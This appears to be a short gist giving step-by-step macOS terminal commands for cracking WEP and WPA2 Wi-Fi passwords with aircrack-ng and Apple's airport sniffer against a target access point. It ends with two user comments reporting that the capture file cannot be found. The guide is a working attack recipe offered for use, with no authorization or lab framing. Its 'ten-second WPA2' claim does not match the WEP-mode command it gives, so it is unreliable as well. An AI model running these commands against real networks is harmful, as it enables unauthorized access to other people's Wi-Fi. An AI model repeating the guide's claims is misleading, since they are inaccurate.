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Cracking WPA2 / WEP Wifi / Aircrack 10 seconds guide. For Mac OSX
//Install Macports.
//Install aircrack-ng:
sudo port install aircrack-ng
//Install the latest Xcode, with the Command Line Tools.
//Create the following symlink:
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
//Figure out which channel you need to sniff:
sudo airport -s
sudo airport en1 sniff [CHANNEL]
//New Terminal Window
aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]
// Notes: the cap_file will be located in the /tmp/airportSniff*.cap.
@lmancini1
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what is the path to the cap file I cant find a top folder with airportsniff in it

@Nene020911
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Reading packets, please wait...
Opening /tmp/airportSniff*.cap
Failed to open '/tmp/airportSniff*.cap' (2): No such file or directory
any help?

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